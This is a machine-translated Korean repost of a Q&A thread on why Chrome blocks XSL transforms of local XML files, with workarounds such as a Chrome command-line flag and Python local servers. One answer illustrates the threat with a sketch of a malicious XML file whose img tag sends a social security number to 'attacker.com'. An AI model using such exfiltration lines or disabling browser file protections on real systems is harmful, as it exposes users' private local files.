Chrome이 로컬 파일에서 XSL 변환을 수행하도록 만들 수 있습니까?
xslt를 살펴보고 w3schools의 예제로 테스트를 시작했습니다.
그러나 xml 및 xsl을 파일에 저장하고 로컬에서 열면 크롬이 xsl 변환을 수행하지 않습니다. 빈 페이지 만 표시됩니다.
나는 <?xml-stylesheet type="text/xsl" href="style.xsl">
xml 문서에 태그를 추가했고 , firefox는 그것이 보이는대로 그것을 렌더링합니다. 또한 웹 서버를 통해 파일을 보면 크롬은 파일을 예상대로 표시합니다.
링크가 로컬 일 때 크롬이 스타일 시트 정보를 찾는 데 문제가 있습니까? href를로 변경해 file:///C:/xsl/style.xsl
도 아무런 차이가 없습니다.
업데이트 : 이것은 file : /// *을 동일한 출처로 취급하지 않는 보안 정책의 부작용 인 것 같습니다 . 이로 인해 콘솔에 다음 오류가 나타납니다.
URL file : /// C : /xsl-rpg/data.xml이있는 프레임에서 URL file : /// C : /xsl-rpg/style.xsl을로드하려는 안전하지 않은 시도. 도메인, 프로토콜 및 포트가 일치해야합니다.
짧은 대답은 "아니요, 다양한 브라우저 중 하나를 사용하십시오 " 입니다.
이유는이 작동하지 않음 인해 크롬 논란이 방법으로 해결했다고 보안 문제에 [1] [2] [3] [4] , 동안, 같은 디렉토리에 지역 XSLT 파일에 액세스 XML 파일을 차단하여 HTML 파일은 동일한 디렉토리의 .CSS 파일에 액세스 할 수 있습니다.
위에서 언급 한 문제에서 사용자는 더 명확한 오류 메시지 (도메인, 프로토콜 및 포트가 실제로 일치하기 때문에)를 요청하거나 최소한 스타일없이 XML을 표시하도록 요청했습니다. Chrome 개발자는 이러한 요청을 무시했습니다.
Chrome의 명령 줄 플래그를 사용하여 로컬에서이 작업을 수행 할 수 있습니다.
특정 플래그는 --allow-file-access-from-files
OS X : Terminal.app에서 실행 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files
Windows : 명령 프롬프트에서 다음을 실행하십시오. %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files
참고 : Chrome이 현재 실행 중이면 종료해야합니다. 그렇지 않으면 Ch
OP를 고수하고 싶다면 대답은 아니요 (다른 사람들이 지적했듯이)이지만 문제를 해결하는 한 가지 방법은 간단한 웹 서버를 실행하고 크롬에서 http를 통해 파일을 여는 것입니다. Python 2.x가 설치되어있는 경우 다음을 입력하여 웹 서버를 실행할 수 있습니다.
python -m SimpleHTTPServer
또는 파이썬 3.x에서 :
python3 -m http.server
그런 다음 http://localhost:8000/yourfile.xml
크롬에서 사용하여 파일을 엽니 다 . 바라건대 당신은 당신의 일을 끝내고 싶고 파일을 여는 것이 중요하지 않습니다.file://
xsl 파일에 따라 xml을 보는 내 해결 방법
헤더가있는 some_file.xml이 있다고 가정합니다.
<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
- 파일을 다운로드
https://some-site.com/Common.xsl
하고some_file.xml
- 헤더의 일부를에서
href="https://some-site.com/Common.xsl"
로 변경href="http://localhost:8001/Common.xsl"
- 파일과 함께 디렉토리에서 실행하십시오-
python3 -m http.server 8001
- 모든 브라우저에서 열기
http://localhost:8001/some_file.xml
Chrome 버그 페이지에서 약간의 해독이 필요했습니다. 그들은 문제가 무엇인지, 왜 모든 사람을 깨뜨리지 않고 모든 사람을 깨뜨리는 것을 선택했는지 설명하지 않는 데 열중했습니다.
내 하드 드라이브 어딘가에 XML 파일이 있다고 가정합니다 . 예 :
C : \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml
그리고 악의 실체는 - 어떻게 든 - 내 컴퓨터, 예에 악의적 인 XML 파일을 드롭 관리 :
C : \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml
TrojanVirusWorm.xml 에 스타일 시트 처리 명령 ( PI )이 포함되어 있다고 상상해보십시오 .
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
그런 다음 공격자는 내 브라우저에 로컬로 저장된 trojanVirusWorm.xml
파일 을 탐색하도록 지시 합니다.
분명히 XML 파일 이 XSD 파일에 의해 변형되는 대신 XSD 파일의 내용을 읽을 수있는 방법이 있습니다 .
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
<!--And then a miracle happens, and this XML file is able to read
the contents of the stylesheet xml file-->
<html>
<img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>
XML 파일이 스타일 시트 파일을 읽는 방법을 이해하지 못합니다. 그러나 Chrome 팀은 이것이 위험하며 해결할 수 없다고 확신합니다.
다른 모든 브라우저에서 해결했습니다. 그들은 문제가 아니기 때문에 그것을 해결했습니다 .
'development' 카테고리의 다른 글
파이썬의 내부 클래스에서 외부 클래스에 액세스 (0) | 2020.10.05 |
---|---|
Android : 배경이 줄무늬로 보이도록 선형 그래디언트 사용 (0) | 2020.10.05 |
Symfony 2에서 "약한 경로"는 무엇입니까? (0) | 2020.10.05 |
이 시간 복잡도는 실제로 O (n ^ 2)입니까? (0) | 2020.10.05 |
인용 된 답장에서 이메일 콘텐츠 구문 분석 (0) | 2020.10.05 |